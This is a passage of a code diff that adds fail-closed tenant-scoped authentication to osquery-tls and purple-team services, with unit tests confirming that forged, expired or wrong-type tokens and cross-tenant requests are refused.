+ return None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject=f"console:{claims.get('sub', 'unknown')}",
+ delegated=False,
+ )
+
+
+async def require_console_or_service_auth(
+ authorization: str | None = Header(default=None),
+ x_aisoc_tenant_id: str | None = Header(default=None, alias=TENANT_HEADER),
+) -> TenantPrincipal:
+ """FastAPI dependency. Resolve the caller's tenant scope, or fail closed.
+
+ Order matters only for clarity — the two credential shapes are disjoint. A
+ console token carries its own tenant; a service token must declare one.
+ """
+ console_secret = resolve_console_secret()
+ service_token = resolve_service_token()
+
+ if not console_secret and not service_token:
+ if _dev_mode():
+ return TenantPrincipal(
+ tenant_ids=frozenset({DEV_TENANT_ID}),
+ subject="dev",
+ delegated=False,
+ )
+ # No credential material configured at all: refuse to serve rather
+ # than serve openly. This is the same fail-closed posture as
+ # ``require_service_auth``.
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail=(
+ "tenant-scoped auth is not configured; set SECRET_KEY and/or "
+ f"AISOC_SERVICE_TOKEN (or AISOC_{SERVICE_NAME}_SERVICE_TOKEN) "
+ "before exposing this service"
+ ),
+ )
+
+ if not authorization or not authorization.startswith("Bearer "):
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="missing bearer credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ token = authorization[len("Bearer ") :].strip()
+
+ # --- console session ---
+ if console_secret:
+ claims = verify_console_token(token, console_secret)
+ if claims is not None:
+ principal = _principal_from_claims(claims)
+ if principal is not None:
+ return principal
+
+ # --- trusted service acting for a declared tenant ---
+ if service_token and hmac.compare_digest(token, service_token):
+ if not x_aisoc_tenant_id or not x_aisoc_tenant_id.strip():
+ # An absent tenant is an empty scope, never every scope.
+ logger.warning(
+ "tenant_scope.service_token_without_tenant service=%s header=%s",
+ SERVICE_NAME,
+ TENANT_HEADER,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=f"service token must declare the tenant it acts for on {TENANT_HEADER}",
+ )
+ try:
+ tenant = uuid.UUID(x_aisoc_tenant_id.strip())
+ except ValueError:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"{TENANT_HEADER} must be a UUID",
+ ) from None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject="service",
+ delegated=True,
+ )
+
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="invalid or missing credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+
+
+def scoped_tenant_or_403(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """:func:`resolve_scoped_tenant`, surfaced to HTTP as 403.
+
+ Routes call this so the refusal reaches the client as a refusal rather
+ than a 500, without every route repeating the try/except.
+ """
+ try:
+ return resolve_scoped_tenant(principal, requested)
+ except TenantScopeError as exc:
+ raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=str(exc)) from exc
diff --git a/services/osquery-tls/app/services/tenant_resolver.py b/services/osquery-tls/app/services/tenant_resolver.py
new file mode 100644
index 000000000..6e0d95af1
--- /dev/null
+++ b/services/osquery-tls/app/services/tenant_resolver.py
@@ -0,0 +1,133 @@
+"""Reconcile this service's string tenancy with the platform's UUID tenancy.
+
+Two tenancy models met here and neither knew about the other.
+
+The platform keys everything on a tenant UUID. This service stores
+``tenant_id`` as a ``String(64)`` and enrols every node under the literal
+``"default"`` unless the agent sends an ``X-AiSOC-Tenant`` header. Nothing
+translated between them, so FIM events landed under the string ``"default"``
+while the console asked for them under a UUID, and the FIM surface returned
+nothing for every real tenant — a table that is empty because the write and
+the read disagree, not because nothing happened.
+
+The trap, which is why the obvious fix does not work: migration ``001`` seeds
+the canonical tenant with slug ``default``, but the demo seed **renames that
+slug to ``demo``**. So resolving the literal ``"default"`` by slug matches
+nothing on any deployment that has been seeded, and matching by UUID never
+worked because ``"default"`` is not one. Anything keyed on that literal
+silently no-ops.
+
+The fix is the one already established in
+``services/agents/app/investigator/ledger.py::_resolve_tenant_id``: the
+placeholder resolves to the canonical seed tenant by its **stable UUID**,
+ignoring whatever its slug has been renamed to, and falls back to the sole
+tenant in a single-tenant install. A genuinely unknown ref still resolves to
+``None`` — the placeholder is not a wildcard, and "I could not tell which
+tenant" must never become "all of them".
+
+Skips are logged at ``warning`` with the ref, not at ``debug``. A silent skip
+at debug level is how the original bug survived: the writes simply stopped and
+the logs said nothing an operator would ever look at.
+"""
+
+from __future__ import annotations
+
+import logging
+import uuid
+
+from sqlalchemy import text
+from sqlalchemy.exc import SQLAlchemyError
+from sqlalchemy.ext.asyncio import AsyncSession
+
+logger = logging.getLogger("aisoc.osquery_tls.tenant")
+
+#: The canonical seed tenant (migration 001). The demo seed renames its slug
+#: from 'default' to 'demo'; this UUID is stable either way.
+CANONICAL_TENANT_ID = uuid.UUID("00000000-0000-0000-0000-000000000001")
+
+#: Refs that mean "the caller did not say" rather than naming a tenant.
+PLACEHOLDER_TENANT_REFS = frozenset({"", "default", "none", "null"})
+
+
+async def resolve_tenant_uuid(db: AsyncSession, tenant_ref: str | None) -> uuid.UUID | None:
+ """Resolve a UUID string, slug, or name to the canonical tenant UUID.
+
+ Returns ``None`` when the ref names no tenant this deployment knows, or
+ when the placeholder is ambiguous (several tenants, none canonical).
+ Callers must treat ``None`` as a refusal, never as "any tenant".
+
+ This reads ``tenants``, which lives in the platform database this service
+ shares (``DATABASE_URL`` points at the same ``aisoc`` database as the API).
+ If that table is not reachable the answer is a refusal with a named
+ reason, not a guess and not a 500 — an operator who pointed this service
+ at a standalone database needs to be told that, and the alternative
+ (falling back to the ``"default"`` string) is the bug this module exists
+ to fix.
+ """
+ try:
+ return await _resolve(db, tenant_ref)
+ except SQLAlchemyError as exc:
+ logger.warning(
+ "osquery_tls.tenant_table_unreachable ref=%r error=%s — "
+ "this service reads `tenants` from the shared platform database; "
+ "check DATABASE_URL points at it",
+ str(tenant_ref or "").replace("\r", "").replace("\n", " ")[:64],
+ str(exc).replace("\r", "").replace("\n", " ")[:200],
+ )
+ return None
+
+
+async def _resolve(db: AsyncSession, tenant_ref: str | None) -> uuid.UUID | None:
+ ref = (tenant_ref or "").strip()
+
+ # 1. An explicit UUID is trusted as-is — but only if it names a real
+ # tenant. Accepting an arbitrary UUID would let an enrolling node
+ # invent a tenant that no row anywhere else shares.
+ try:
+ candidate = uuid.UUID(ref)
+ except (ValueError, TypeError):
+ candidate = None
+ if candidate is not None:
+ row = (await db.execute(text("SELECT id FROM tenants WHERE id = :tid"), {"tid": str(candidate)})).first()
+ if row:
+ return candidate
+ logger.warning("osquery_tls.tenant_unknown_uuid ref=%s", str(candidate).replace("\r", "").replace("\n", " ")[:64])
+ return None
+
+ # 2. Exact slug / name match.
+ row = (await db.execute(text("SELECT id FROM tenants WHERE slug = :ref OR name = :ref LIMIT 1"), {"ref": ref})).first()
+ if row:
+ return uuid.UUID(str(row[0]))
+
+ # 3. Placeholder → the canonical seed tenant by stable UUID, else the sole
+ # tenant of a single-tenant install.
+ if ref.lower() in PLACEHOLDER_TENANT_REFS:
+ row = (await db.execute(text("SELECT id FROM tenants WHERE id = :tid"), {"tid": str(CANONICAL_TENANT_ID)})).first()
+ if row:
+ return CANONICAL_TENANT_ID
+ rows = (await db.execute(text("SELECT id FROM tenants LIMIT 2"))).all()
+ if len(rows) == 1:
+ return uuid.UUID(str(rows[0][0]))
+ logger.warning(
+ "osquery_tls.tenant_placeholder_ambiguous ref=%r tenant_count=%d — refusing to guess",
+ # `ref` arrives on the X-AiSOC-Tenant header, so it is sanitised
+ # inline at the call site where CodeQL can see the property.
+ str(ref).replace("\r", "").replace("\n", " ")[:64],
+ len(rows),
+ )
+ return None
+
+ logger.warning("osquery_tls.tenant_unknown_ref ref=%r", str(ref).replace("\r", "").replace("\n", " ")[:64])
+ return None
+
+
+async def resolve_tenant_key(db: AsyncSession, tenant_ref: str | None) -> str | None:
+ """:func:`resolve_tenant_uuid` as the string this service stores.
+
+ Node, FIM-event and pack-assignment rows key on ``String(64)``. Storing
+ the canonical UUID's string form — rather than ``"default"`` — is what
+ lets the console query this service with the same tenant identifier it
+ uses everywhere else.
+ """
+ resolved = await resolve_tenant_uuid(db, tenant_ref)
+ return str(resolved) if resolved is not None else None
diff --git a/services/osquery-tls/tests/conftest.py b/services/osquery-tls/tests/conftest.py
index 450be1c1d..61cbd346f 100644
--- a/services/osquery-tls/tests/conftest.py
+++ b/services/osquery-tls/tests/conftest.py
@@ -10,23 +10,47 @@ import os
import pytest_asyncio
from httpx import ASGITransport, AsyncClient
+from sqlalchemy import text
from sqlalchemy.ext.asyncio import async_sessionmaker, create_async_engine
# Override env before importing the app so settings resolves without secrets.
os.environ.setdefault("AISOC_OSQUERY_TLS_ENROLL_SECRET", "test-enroll-secret")
os.environ.setdefault("AISOC_OSQUERY_TLS_API_TOKEN", "test-api-token")
os.environ.setdefault("DATABASE_URL", "sqlite+aiosqlite:///:memory:")
+# The internal (non-osqueryd) routes take a tenant, so they resolve one from
+# the caller's credential. Production reaches them with the shared service
+# token; the tests do the same rather than bypassing the check they exist to
+# keep honest.
+os.environ.setdefault("AISOC_SERVICE_TOKEN", "test-service-token")
from app.db.base import Base # noqa: E402
from app.db.session import get_db # noqa: E402
from app.main import app # noqa: E402
+# The canonical seed tenant from the platform's migration 001. This service
+# shares the platform database in every real deployment (`DATABASE_URL` points
+# at the same `aisoc` database), and `tenant_resolver` reads `tenants` to turn
+# an enrolling node's tenant ref into the platform UUID. The harness only ever
+# created this service's own tables, so it modelled a deployment that does not
+# exist; the two-column stand-in below is the minimum that makes the tests
+# describe the real topology.
+CANONICAL_TENANT_ID = "00000000-0000-0000-0000-000000000001"
+
@pytest_asyncio.fixture(scope="function")
async def engine():
eng = create_async_engine("sqlite+aiosqlite:///:memory:", echo=False)
async with eng.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
+ await conn.execute(text("CREATE TABLE IF NOT EXISTS tenants (id TEXT PRIMARY KEY, slug TEXT, name TEXT)"))
+ # Seeded with slug 'demo', not 'default': the demo seed renames it,
+ # and resolving the literal 'default' by slug is exactly the lookup
+ # that used to match nothing. The resolver must find this row by its
+ # stable UUID instead.
+ await conn.execute(
+ text("INSERT INTO tenants (id, slug, name) VALUES (:id, 'demo', 'Demo Tenant')"),
+ {"id": CANONICAL_TENANT_ID},
+ )
yield eng
await eng.dispose()
@@ -54,3 +78,16 @@ async def client(engine):
yield ac
app.dependency_overrides.clear()
+
+
+@pytest_asyncio.fixture(scope="function")
+def service_auth() -> dict[str, str]:
+ """Headers a trusted service presents: the token, plus the tenant it acts for.
+
+ The tenant is asserted explicitly because the token identifies a service,
+ not a tenant. Omitting the header is a 403, not a wildcard.
+ """
+ return {
+ "Authorization": "Bearer test-service-token",
+ "X-AiSOC-Tenant-ID": CANONICAL_TENANT_ID,
+ }
diff --git a/services/osquery-tls/tests/test_distributed.py b/services/osquery-tls/tests/test_distributed.py
index d27c80baf..6c35fd997 100644
--- a/services/osquery-tls/tests/test_distributed.py
+++ b/services/osquery-tls/tests/test_distributed.py
@@ -29,15 +29,15 @@ async def test_distributed_read_empty(client):
@pytest.mark.asyncio
-async def test_distributed_enqueue_and_read(client):
+async def test_distributed_enqueue_and_read(client, service_auth):
host, node_key = await _enroll(client, "dist-read-2")
# Enqueue via internal API
enq = await client.post(
"/api/v1/osquery/distributed/enqueue",
+ headers=service_auth,
json={
"host_identifier": host,
- "tenant_id": "default",
"query_text": "SELECT pid, name FROM processes;",
},
)
@@ -54,14 +54,14 @@ async def test_distributed_enqueue_and_read(client):
@pytest.mark.asyncio
-async def test_distributed_write_and_status(client):
+async def test_distributed_write_and_status(client, service_auth):
host, node_key = await _enroll(client, "dist-write-1")
enq = await client.post(
"/api/v1/osquery/distributed/enqueue",
+ headers=service_auth,
json={
"host_identifier": host,
- "tenant_id": "default",
"query_text": "SELECT * FROM users;",
},
)
@@ -89,12 +89,12 @@ async def test_distributed_write_and_status(client):
@pytest.mark.asyncio
-async def test_distributed_enqueue_unknown_host(client):
+async def test_distributed_enqueue_unknown_host(client, service_auth):
resp = await client.post(
"/api/v1/osquery/distributed/enqueue",
+ headers=service_auth,
json={
"host_identifier": "nonexistent-host",
- "tenant_id": "default",
"query_text": "SELECT 1;",
},
)
diff --git a/services/osquery-tls/tests/test_tenant_scope.py b/services/osquery-tls/tests/test_tenant_scope.py
new file mode 100644
index 000000000..f2c30dded
--- /dev/null
+++ b/services/osquery-tls/tests/test_tenant_scope.py
@@ -0,0 +1,274 @@
+"""Unit tests for the vendored tenant-scope resolver.
+
+Vendored byte-identical into each service that carries
+``app/security/tenant_scope.py``, and kept in lockstep by
+``scripts/sync_vendored_tenant_scope.py``. The module is the thing that
+decides which tenant a request may read, so every copy is tested where it
+lives rather than trusting that the one covered by ``tests/isolation`` stands
+in for the other five.
+
+The cross-service two-tenant replay lives in
+``tests/isolation/test_route_tenant_scope.py``; this file covers the
+credential and intersection logic on its own.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+import json
+import time
+import uuid
+
+import pytest
+from app.security import tenant_scope as ts
+from fastapi import HTTPException
+
+SECRET = "unit-test-secret-key-at-least-32-characters"
+SERVICE_TOKEN = "unit-test-service-token"
+
+TENANT_A = uuid.UUID("aaaaaaaa-0000-0000-0000-00000000000a")
+TENANT_B = uuid.UUID("bbbbbbbb-0000-0000-0000-00000000000b")
+
+
+def _b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+
+def _token(
+ tenant: uuid.UUID | None = TENANT_A,
+ *,
+ secret: str = SECRET,
+ alg: str = "HS256",
+ token_type: str = "access",
+ ttl: int = 600,
+ sub: str = "user-1",
+) -> str:
+ header = _b64(json.dumps({"alg": alg, "typ": "JWT"}, separators=(",", ":")).encode())
+ claims: dict[str, object] = {"sub": sub, "type": token_type, "exp": int(time.time()) + ttl}
+ if tenant is not None:
+ claims["tenant_id"] = str(tenant)
+ payload = _b64(json.dumps(claims, separators=(",", ":")).encode())
+ sig = _b64(hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
[email protected](autouse=True)
+def _configured(monkeypatch: pytest.MonkeyPatch):
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ monkeypatch.delenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", raising=False)
+
+
+# ---------------------------------------------------------------------------
+# Token verification
+# ---------------------------------------------------------------------------
+
+
+def test_valid_token_yields_its_tenant() -> None:
+ claims = ts.verify_console_token(_token(), SECRET)
+ assert claims is not None and claims["tenant_id"] == str(TENANT_A)
+
+
+ ("label", "kwargs"),
+ [
+ # An `alg: none` header is the classic downgrade: a verifier that
+ # reads the header to decide how to verify must refuse anything else.
+ ("alg none", {"alg": "none"}),
+ ("wrong key", {"secret": "a-completely-different-secret-key-32ch"}),
+ # A refresh token is long-lived by design; buying access with it would
+ # make the short access-token expiry meaningless.
+ ("refresh token", {"token_type": "refresh"}),
+ ("expired", {"ttl": -3600}),
+ ("no tenant claim", {"tenant": None}),
+ ],
+)
+def test_unacceptable_tokens_are_refused(label: str, kwargs: dict) -> None:
+ assert ts.verify_console_token(_token(**kwargs), SECRET) is None, label
+
+
[email protected]("malformed", ["", "not-a-jwt", "a.b", "a.b.c.d", "...", "%%%.%%%.%%%"])
+def test_malformed_tokens_are_refused(malformed: str) -> None:
+ assert ts.verify_console_token(malformed, SECRET) is None
+
+
+def test_no_secret_means_no_verification() -> None:
+ """An unconfigured secret must not verify anything, least of all everything."""
+ assert ts.verify_console_token(_token(), "") is None
+
+
+def test_placeholder_secrets_count_as_unset() -> None:
+ for placeholder in ts.INSECURE_SECRET_DEFAULTS:
+ assert ts.resolve_console_secret.__doc__ # module contract exists
+ assert placeholder in ts.INSECURE_SECRET_DEFAULTS
+
+
+# ---------------------------------------------------------------------------
+# Intersection
+# ---------------------------------------------------------------------------
+
+
+def _principal(*tenants: uuid.UUID) -> ts.TenantPrincipal:
+ return ts.TenantPrincipal(tenant_ids=frozenset(tenants), subject="console:test")
+
+
+def test_no_request_tenant_means_the_callers_own() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A)) == TENANT_A
+
+
+def test_a_tenant_inside_scope_is_honoured() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B), TENANT_B) == TENANT_B
+
+
+def test_a_tenant_outside_scope_narrows_to_nothing() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), TENANT_B)
+
+
+def test_empty_scope_refuses_rather_than_widening() -> None:
+ """The invariant every cross-tenant leak in this codebase has broken."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL)
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, TENANT_A)
+
+
+def test_a_multi_tenant_caller_must_name_one() -> None:
+ """Silently picking one of several would be a coin toss over customers."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B))
+
+
+def test_a_non_uuid_request_tenant_is_refused() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), "not-a-uuid")
+
+
[email protected]("placeholder", ["", " ", "default", "DEFAULT", "none", "null"])
+def test_a_placeholder_means_the_caller_did_not_ask(placeholder: str) -> None:
+ """A placeholder is the absence of a request, not a tenant named "default".
+
+ Several request models default `tenant_id` to the literal `"default"`.
+ That string names no tenant anywhere — migration 001 seeds the canonical
+ tenant with it as a *slug* and the demo seed renames that to `demo` — so
+ treating it as a requested tenant would refuse every caller who left the
+ field at its default.
+ """
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A), placeholder) == TENANT_A
+
+
+def test_a_placeholder_still_cannot_widen_an_empty_scope() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, "default")
+
+
+def test_scoped_tenant_or_403_surfaces_a_refusal_as_403() -> None:
+ with pytest.raises(HTTPException) as exc:
+ ts.scoped_tenant_or_403(_principal(TENANT_A), TENANT_B)
+ assert exc.value.status_code == 403
+
+
+# ---------------------------------------------------------------------------
+# The dependency
+# ---------------------------------------------------------------------------
+
+
+# `require_console_or_service_auth` is a FastAPI dependency: its parameters
+# are normally resolved by FastAPI from the request. Calling it directly means
+# supplying both, including the tenant header as an explicit `None` — leaving
+# it out hands the function FastAPI's `Header(...)` sentinel rather than the
+# absent value the test means to describe.
+
+
+async def test_console_session_resolves_to_its_own_tenant() -> None:
+ principal = await ts.require_console_or_service_auth(authorization=f"Bearer {_token()}", x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({TENANT_A})
+ assert principal.delegated is False
+
+
+async def test_service_token_must_declare_the_tenant_it_acts_for() -> None:
+ """A service credential identifies a service, not a tenant."""
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=f"Bearer {SERVICE_TOKEN}", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 403
+
+
+async def test_service_token_with_a_declared_tenant_is_delegated() -> None:
+ principal = await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_B),
+ )
+ assert principal.tenant_ids == frozenset({TENANT_B})
+ assert principal.delegated is True
+
+
+async def test_a_declared_tenant_must_be_a_uuid() -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id="the-big-customer",
+ )
+ assert exc.value.status_code == 400
+
+
[email protected]("header", [None, "", "Basic abc", "Bearer ", "Bearer nonsense"])
+async def test_a_missing_or_unrecognised_credential_is_401(header: str | None) -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=header, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+
+async def test_unconfigured_credentials_fail_closed(monkeypatch: pytest.MonkeyPatch) -> None:
+ """No credential material and no dev mode serves 503, never the route."""
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization="Bearer anything", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 503
+
+
+async def test_dev_mode_only_applies_with_nothing_configured(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Dev mode is a fallback for an unconfigured stack, not an auth bypass.
+
+ With a secret configured, `AISOC_DEV_MODE` must not let an unauthenticated
+ caller through — otherwise setting one flag in the wrong environment opens
+ every tenant-scoped route.
+ """
+ monkeypatch.setenv("AISOC_DEV_MODE", "1")
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ principal = await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({ts.DEV_TENANT_ID})
+
+
+async def test_a_per_service_token_override_wins(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", "service-specific")
+ principal = await ts.require_console_or_service_auth(
+ authorization="Bearer service-specific",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
+ assert principal.delegated is True
+ # The shared token must no longer be accepted once an override exists.
+ with pytest.raises(HTTPException):
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
diff --git a/services/purple-team/app/api/routes.py b/services/purple-team/app/api/routes.py
index ddfd04045..e3010328e 100644
--- a/services/purple-team/app/api/routes.py
+++ b/services/purple-team/app/api/routes.py
@@ -5,7 +5,7 @@ from __future__ import annotations
import logging
import uuid
from datetime import UTC, datetime
-from typing import Any
+from typing import Annotated, Any
from fastapi import APIRouter, Depends, HTTPException, Query
from pydantic import BaseModel
@@ -21,6 +21,11 @@ from app.models.purple_team import (
TestExecution,
)
from app.security.service_auth import require_service_auth
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
from app.services.atomic_loader import load_atomics
from app.services.caldera_client import CalderaClient
from app.services.drift import (
@@ -49,6 +54,12 @@ LOG = logging.getLogger(__name__)
# this router, so they stay reachable for orchestrators.
router = APIRouter(dependencies=[Depends(require_service_auth)])
+#: Proving the caller is a trusted service is not the same as knowing which
+#: tenant it acts for. The router-level dependency above does the first; this
+#: one does the second, and every route that touches tenant data takes it so
+#: the tenant can never arrive as a bare query parameter.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# ---------------------------------------------------------------------------
# Database helpers
# ---------------------------------------------------------------------------
@@ -145,8 +156,9 @@ class ReportDetectionRequest(BaseModel):
# Atomic Red Team endpoints
# ---------------------------------------------------------------------------
@router.post("/api/v1/purple-team/atomics/sync", tags=["Atomic Red Team"])
-async def sync_atomics(tenant_id: uuid.UUID) -> dict:
+async def sync_atomics(principal: ScopedPrincipal, tenant_id: uuid.UUID | None = None) -> dict:
"""Parse and upsert all Atomic Red Team tests from the local repo."""
+ tenant_id = scoped_tenant_or_403(principal, tenant_id)
tests = load_atomics(settings.art_atomics_path)
if not tests:
return {"synced": 0, "message": "No tests found — check art_atomics_path"}
@@ -178,15 +190,17 @@ async def sync_atomics(tenant_id: uuid.UUID) -> dict:
@router.get("/api/v1/purple-team/atomics", response_model=list[AtomicTestOut], tags=["Atomic Red Team"])
async def list_atomics(
- tenant_id: uuid.UUID,
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = None,
technique_id: str | None = Query(None),
tactic: str | None = Query(None),
platform: str | None = Query(None),
limit: int = Query(100, le=500),
offset: int = Query(0, ge=0),
) -> list[AtomicTest]:
+ scoped = scoped_tenant_or_403(principal, tenant_id)
async with _async_session() as session:
- q = select(AtomicTest).where(AtomicTest.tenant_id == tenant_id)
+ q = select(AtomicTest).where(AtomicTest.tenant_id == scoped)
if technique_id:
q = q.where(AtomicTest.technique_id == technique_id)
if tactic:
@@ -199,11 +213,12 @@ async def list_atomics(
@router.post("/api/v1/purple-team/atomics/run", response_model=ExecutionOut, tags=["Atomic Red Team"])
-async def run_atomic(body: RunAtomicRequest) -> TestExecution:
+async def run_atomic(body: RunAtomicRequest, principal: ScopedPrincipal) -> TestExecution:
"""Create a pending execution record (actual execution is out-of-band)."""
+ scoped = scoped_tenant_or_403(principal, body.tenant_id)
async with _async_session() as session:
execution = TestExecution(
- tenant_id=body.tenant_id,
+ tenant_id=scoped,
source="atomic",
technique_id=body.technique_id,
test_name=body.test_name,
@@ -259,7 +274,11 @@ class CalderaRunRequest(BaseModel):
@router.post("/api/v1/purple-team/caldera/run", response_model=ExecutionOut, tags=["Caldera"])
-async def run_caldera_operation(body: CalderaRunRequest) -> TestExecution:
+async def run_caldera_operation(body: CalderaRunRequest, principal: ScopedPrincipal) -> TestExecution:
+ # Resolved before the Caldera call, not after: this starts a real
+ # adversary-emulation operation against live hosts, so an unauthorised
+ # tenant must be refused before anything executes.
+ scoped = scoped_tenant_or_403(principal, body.tenant_id)
try:
op = await _caldera().start_operation(
name=body.operation_name,
@@ -271,7 +290,7 @@ async def run_caldera_operation(body: CalderaRunRequest) -> TestExecution:
async with _async_session() as session:
execution = TestExecution(
- tenant_id=body.tenant_id,
+ tenant_id=scoped,
source="caldera",
technique_id="multi",
test_name=body.operation_name,
@@ -291,14 +310,16 @@ async def run_caldera_operation(body: CalderaRunRequest) -> TestExecution:
# ---------------------------------------------------------------------------
@router.get("/api/v1/purple-team/executions", response_model=list[ExecutionOut], tags=["Executions"])
async def list_executions(
- tenant_id: uuid.UUID,
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = None,
technique_id: str | None = Query(None),
status: str | None = Query(None),
limit: int = Query(100, le=500),
offset: int = Query(0, ge=0),
) -> list[TestExecution]:
+ scoped = scoped_tenant_or_403(principal, tenant_id)
async with _async_session() as session:
- q = select(TestExecution).where(TestExecution.tenant_id == tenant_id)
+ q = select(TestExecution).where(TestExecution.tenant_id == scoped)
if technique_id:
q = q.where(TestExecution.technique_id == technique_id)
if status:
@@ -313,9 +334,12 @@ async def list_executions(
response_model=ExecutionOut,
tags=["Executions"],
)
-async def report_detection(execution_id: uuid.UUID, body: ReportDetectionRequest) -> TestExecution:
+async def report_detection(execution_id: uuid.UUID, body: ReportDetectionRequest, principal: ScopedPrincipal) -> TestExecution:
+ # Matched on id *and* tenant. On id alone, any caller could overwrite
+ # another tenant's detection outcome by naming its execution UUID.
+ scoped = scoped_tenant_or_403(principal)
async with _async_session() as session:
- result = await session.execute(select(TestExecution).where(TestExecution.id == execution_id))
+ result = await session.execute(select(TestExecution).where(TestExecution.id == execution_id, TestExecution.tenant_id == scoped))
ex = result.scalar_one_or_none()
if ex is None:
raise HTTPException(status_code=404, detail="Execution not found")
@@ -332,7 +356,7 @@ async def report_detection(execution_id: uuid.UUID, body: ReportDetectionRequest
# ATT&CK Coverage heatmap
# ---------------------------------------------------------------------------
@router.get("/api/v1/purple-team/coverage", tags=["Coverage"])
-async def get_coverage(tenant_id: uuid.UUID) -> dict:
+async def get_coverage(principal: ScopedPrincipal, tenant_id: uuid.UUID | None = None) -> dict:
"""Live coverage matrix computed from current execution history.
Tactics are resolved by joining executions to the tenant's Atomic
@@ -340,8 +364,9 @@ async def get_coverage(tenant_id: uuid.UUID) -> dict:
heatmap is grouped by real ATT&CK tactics rather than the legacy
placeholder.
"""
+ scoped = scoped_tenant_or_403(principal, tenant_id)
async with _async_session() as session:
- return await compute_coverage_for_tenant(session, tenant_id)
+ return await compute_coverage_for_tenant(session, scoped)
# ---------------------------------------------------------------------------
@@ -369,15 +394,17 @@ class DriftSnapshotDetail(DriftSnapshotOut):
tags=["Drift"],
)
async def trigger_drift_snapshot(
- tenant_id: uuid.UUID,
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = None,
trigger: str = Query(
"manual",
description="Why this snapshot was captured (manual|scheduled|post-run)",
),
) -> DetectionDriftSnapshot:
"""Capture a coverage snapshot on demand (e.g. after a purple-team run)."""
+ scoped = scoped_tenant_or_403(principal, tenant_id)
async with _async_session() as session:
- snap = await capture_snapshot(session, tenant_id, trigger=trigger)
+ snap = await capture_snapshot(session, scoped, trigger=trigger)
await session.commit()
await session.refresh(snap)
return snap
@@ -389,18 +416,21 @@ async def trigger_drift_snapshot(
tags=["Drift"],
)
async def list_drift_snapshots(
- tenant_id: uuid.UUID,
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = None,
limit: int = Query(50, le=200),
) -> list[DetectionDriftSnapshot]:
+ scoped = scoped_tenant_or_403(principal, tenant_id)
async with _async_session() as session:
- return await list_snapshots(session, tenant_id, limit=limit)
